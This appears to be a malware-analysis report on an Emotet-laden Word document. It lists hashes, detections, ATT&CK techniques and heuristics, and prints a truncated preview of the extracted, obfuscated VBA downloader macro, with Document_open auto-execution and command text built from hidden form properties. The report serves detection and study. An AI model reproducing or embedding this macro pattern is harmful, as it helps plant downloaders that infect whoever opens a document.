Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a361f475f50dc04b…

MALICIOUS

Office (OLE)

186.7 KB Created: 2019-12-16 14:23:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: dafb4940f940999d7073d11921fbf2bc SHA-1: 6e8a263d57dd89d7cd74049ed360cee0743ea1e4 SHA-256: a361f475f50dc04bb048798b42c132883dcbda82d3ddeb4fff9c63ca4548ebd5
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open heuristic. The macro utilizes CreateObject and GetObject calls, characteristic of Emotet's downloader functionality. ClamAV detection confirms the presence of Emotet, specifically a downloader variant. The macro's obfuscated nature and reliance on auto-execution point to its role in fetching and running a secondary payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7458829-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7458829-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8161 bytes
SHA-256: 492682957ab5de93c2cfff127315cb1915035ffa9673791ddd623009b8b4d619
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ictntjyrbl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Qwqqugcima, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      Dim Okwbonvgg
      Dim Itvuzdaoqb
      For Rdbpdressn = Lwavlepsw To 0
         Nhiikfvbdfx = xPI
         Tzdvngcda = CDbl(3)
         Nyspbrsvgigrv = Tan(MyeW5A)
         Kgjgmgej = 4 - Bxehjjmckumn
         Lmcqxmhhdjwwt = (3 - Rjoixaunowyt)
         Xrwakuzenm = Uuvknqsjtl
         Izryntyss = CDbl(6)
         Szwiztmvc = Tan(Gzsdjibfql)
      Next
      Dim Rpixvzymjfkx
      Dim Rtprqkqgrlqz
      For Iuiednrieivv = Lwavlepsw To 0
         Cemauwnulsr = xPI
         Lyxgwsed = CDbl(3)
         Gucajpgwudbdm = Tan(MyeW5A)
         Fjfoipnwmgk = 4 - Zcbmngfg
         Eeewwdahlxqrj = (3 - Gityquziews)
         Pgtknnbkdsq = Yzjlhtcxhy
         Bcfwazeal = CDbl(6)
         Dgevxecpc = Tan(Vaytpyzrh)
      Next
      Dim Yffwixyedglb
      Dim Kvyuihlaotu
      For Djvoqjdjbm = Lwavlepsw To 0
         Zlxhgqbfyju = xPI
         Ryhyqmcnluuis = CDbl(3)
         Xdjiqgiwosic = Tan(MyeW5A)
         Ouobrzlwlka = 4 - Oqcznwkh
         Mepjcsfi = (3 - Xwafgavgbs)
         Jgtflsugi = Ucxcqjdfbqxc
         Xtmaegcbeuj = CDbl(6)
         Hnndzqdgdjyew = Tan(Xrmdboozhf)
      Next
Vtkezbyzg
End Sub

Attribute VB_Name = "Gsmkjbjtixeo"
Attribute VB_Base = "0{CEB4F36E-2195-43AF-9E15-CE40372A5B17}{0804F7DD-91BF-49C0-9FE6-B295367EDA41}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ossmyzonhzdrq"
Function Sajjfmvotcq()
      Dim Guvguobdxxmpx
      Dim Yslrrgxpas
      For Jhfljqamhtfa = Lwavlepsw To 0
         Afhvxfauyw = xPI
         Aqifuoitsvsm = CDbl(3)
         Wkbenksffrieu = Tan(MyeW5A)
         Oijsrqkdcyqs = 4 - Fnusyipttiia
         Qxquczemiu = (3 - Mhygwsmmae)
         Wxeuobjrvz = Iwpgosfag
         Iunmqnikmjdxf = CDbl(6)
         Xhkunmuuxz = Tan(Xhynfgavz)
      Next
Sjjpwiksncgpq = Ictntjyrbl.Qwqqugcima
      Dim Nrmlqmuxlj
      Dim Tmjypuaycdo
      For Pjjlwxzausu = Lwavlepsw To 0
         Pladbjyitj = xPI
         Atyhjkcnvadl = CDbl(3)
         Lcnyuprcfpx = Tan(MyeW5A)
         Fzgwahsv = 4 - Tkirtroi
         Lxwvupnbxoj = (3 - Hxooecduth)
         Nlxxlqgiiqhd = Ktryprjz
         Fcjflwsqvbgd = CDbl(6)
         Mxcbcqpl = Tan(Sjdvrjko)
      Next
Lexqzqgeinxp = Sjjpwiksncgpq + Gsmkjbjtixeo.Yvgjfbvojj + Gsmkjbjtixeo.Cfyzuyenw + Gsmkjbjtixeo.Ogzqgnqiy
      Dim Dnzrpbrmnvrmi
      Dim Fhzfvmocyfxl
      For Hbamzontedax = Lwavlepsw To 0
         Ljbvgabjhtg = xPI
         Lalrpiufura = CDbl(3)
         Elcvexgarp = Tan(MyeW5A)
         Fhqyuhfp = 4 - Tsmlolir
         Mvwqgloi = (3 - Tkhpkbegzju)
         Csjjtjurzx = Klzrisxmmii
         Anhbrhgskuyxc = CDbl(6)
         Iwuneaapeprqx = Tan(Ukyntvnpipwwz)
      Next
Apgfnqkgn = Lexqzqgeinxp + Gsmkjbjtixeo.Rwiuxdzvtzp + Gsmkjbjtixeo.Lweqddbkiq
      Dim Hledyvsoh
      Dim Tvgwbestatxjl
      For Dejxpoup = Lwavlepsw To 0
         Dyzcyksmsvdcl = xPI
         Gowojctkxso = CDbl(3)
         Ylyguzyftr = Tan(MyeW5A)
         Fxsxxashij = 4 - Acujobjkeingx
         Lejmxufeea = (3 - Svybolaf)
         Orrhrewkm = Rhcywcduypjba
         Ghyvwrrgpsv = CDbl(6)
         Bhuombao = Tan(Rixlspeq)
      Next
Sajjfmvotcq = Gbleyjageea + Apgfnqkgn + Gbleyjageea
      Dim Xvbzmawqiet
      Dim Ycgpshxdcjm
      For Hqkzomdnep = Lwavlepsw To 0
         Lmdxrhdap = xPI
         Vuykekumoc = CDbl(3)
         Fgiphadtmgkg = Tan(MyeW5A)
         Flbjwvpgpfqb = 4 - Jdmdltxr
         Valyypkrpkej = (3 - Gedzqczfb)
         Itgvbvncjn = Qhavympyas
         Gqxbgrpzmppvd = CDbl(6)
         Oqhbrkunsqg = Tan(Majqmiokxmvr)
  
... (truncated)

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